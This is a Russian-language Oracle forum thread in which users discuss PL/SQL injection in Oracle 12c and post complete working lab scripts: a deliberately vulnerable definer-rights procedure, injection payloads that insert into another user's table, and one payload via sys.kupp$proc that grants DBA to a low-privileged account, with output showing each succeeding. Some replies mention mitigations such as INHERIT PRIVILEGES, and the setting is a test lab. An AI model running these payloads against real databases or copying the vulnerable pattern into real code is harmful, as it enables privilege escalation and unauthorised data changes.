Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Sql инъекция в Oracle 12c / 10 сообщений из 10, страница 1 из 1
19.12.2017, 01:30
    #39571718
SoratoMan
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
Доброго времени суток! Есть известная работа Дэвида Литчфилда, описывающую использование sql - инъекции для получения полномочий dba: http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf.
В работе предложен пример, демонстрирующий использование незащищенной процедуры, созданной пользователем sys. Соответственно, имея только доступ к этой процедуре и create session привилегию мы можем делать всё, что душе угодно.
Проблема в следующем:
Пусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)
...
Рейтинг: 0 / 0
19.12.2017, 01:49
    #39571722
SY
SY
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
Для начала - процедура/функция/пакет по умолчанию создается c DEFINER RIGHTS котoрый означает процедура выполняется под security domain владельца с привилегиями данными владельцу напрямую а не через роли (роли игнорируются и при компиляции, кстати независимо от DEFINER RIGHTS или INVOKER RIGHTS). Так-что есть ли у user1 DBA или нет значения не имеет.

SY.
...
Рейтинг: 0 / 0
19.12.2017, 02:28
    #39571725
SoratoMan
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
Спасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?
...
Рейтинг: 0 / 0
19.12.2017, 03:57
    #39571738
dbms_photoshop
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
SoratoManПусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)
Создаем пользователей
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;

create user u2 identified by 1;
grant create session, connect to u2;


U1
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
create table t as select 0 id from dual;
grant select on t to u2;
grant execute on p to u2;


U2
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
SQL> connect u2/1
Connected.
SQL> set serveroutput on
SQL> exec u1.p(q'#dbms_xmlquery.newcontext('declare pragma autonomous_transaction; begin insert into t values (1); commit; end;')#');
0

PL/SQL procedure successfully completed.

SQL> select * from u1.t;

        ID
----------
         0
         1

На 12с лавочку прикрыли.
...
Рейтинг: 0 / 0
19.12.2017, 04:09
    #39571740
dbms_photoshop
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
Just for fun

Создаем пользователей
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;
grant execute on sys.kupp$proc to u1;

create user u2 identified by 1;
grant create session, connect to u2;


U1
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
grant execute on p to u2;


U2
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
SQL> connect u2/1
Connected.
SQL> exec u1.p(q'#sys.kupp$proc.create_master_process('execute immediate ''grant dba to u2'';')#');

PL/SQL procedure successfully completed.

SQL> drop user u1 cascade;
drop user u1 cascade
*
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> connect u2/1
Connected.
SQL> drop user u1 cascade;

User dropped.
...
Рейтинг: 0 / 0
19.12.2017, 05:35
    #39571746
SY
SY
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
SoratoManСпасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?

Если user2 имеет CREATE PROCEDURE, то:

Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
drop user u1 cascade;
drop user u2 cascade;
create user u1 identified by u1
default tablespace users
quota unlimited on users;
grant create session, create table,create procedure to u1;
create user u2 identified by u2;
grant create session,create procedure to u2;
connect u1@pdb1sol12/u1
CREATE OR REPLACE
  PROCEDURE VULNERABLE_PROC(P VARCHAR2)
    IS
        N NUMBER;
    BEGIN
        EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM USER_OBJECTS WHERE OBJECT_NAME = ''' || P || ''''
          INTO N;
        DBMS_OUTPUT.PUT_LINE(N);
END;
/
GRANT EXECUTE ON VULNERABLE_PROC TO U2;
CREATE TABLE TBL1(ID NUMBER);
GRANT SELECT ON TBL1 TO U2;
connect u2@pdb1sol12/u2
CREATE OR REPLACE
  FUNCTION INJECT(
                  P_ID NUMBER
                 )
   RETURN VARCHAR2
   AUTHID CURRENT_USER
   IS
       PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO U1.TBL1 VALUES(:1)'
        USING P_ID;
    COMMIT;
    RETURN NULL;
END;
/
GRANT EXECUTE ON INJECT TO U1;
EXEC U1.VULNERABLE_PROC('TBL'' || U2.INJECT(99) || ''1')
SELECT  *
  FROM  U1.TBL1;

        ID
----------
        99
        99

SQL>



Правда в 12C этого можно избежать через INHERIT PRIVILEGES.

SY.
...
Рейтинг: 0 / 0
19.12.2017, 23:05
    #39572348
SoratoMan
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
Спасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.
...
Рейтинг: 0 / 0
20.12.2017, 01:37
    #39572402
dbms_photoshop
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
SoratoManСпасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.Где ты увидел sys кроме моего трюкачества с sys.kupp$proc и что ты понимаешь под "не для sys"?

В плане увеличения сложности можешь разобрать
1) сначала скрипт SY
2) потом мой с dbms_xmlquery.newcontext
3) и в последнюю очередь с sys.kupp$proc

(1) и (2) это просто возможность воспользоваться правом другого пользователя на его объекты через инъекцию,
а (3) - это типичный случай sql injection privilege escalation, но наличие гранта на sys.kupp$proc совсем не типично.
...
Рейтинг: 0 / 0
20.12.2017, 03:53
    #39572410
SoratoMan
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
dbms_photoshop,
Вопрос задавался ради достижения 2 целей:
1) Увидеть примеры Sql-инъекций, с чем вы и SY любезно помогли)
2) Узнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.
...
Рейтинг: 0 / 0
20.12.2017, 13:51
    #39572721
dbms_photoshop
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Sql инъекция в Oracle 12c
SoratoManУзнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.Читай в FAQ про права через роль до полного просветления.
...
Рейтинг: 0 / 0
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Sql инъекция в Oracle 12c / 10 сообщений из 10, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]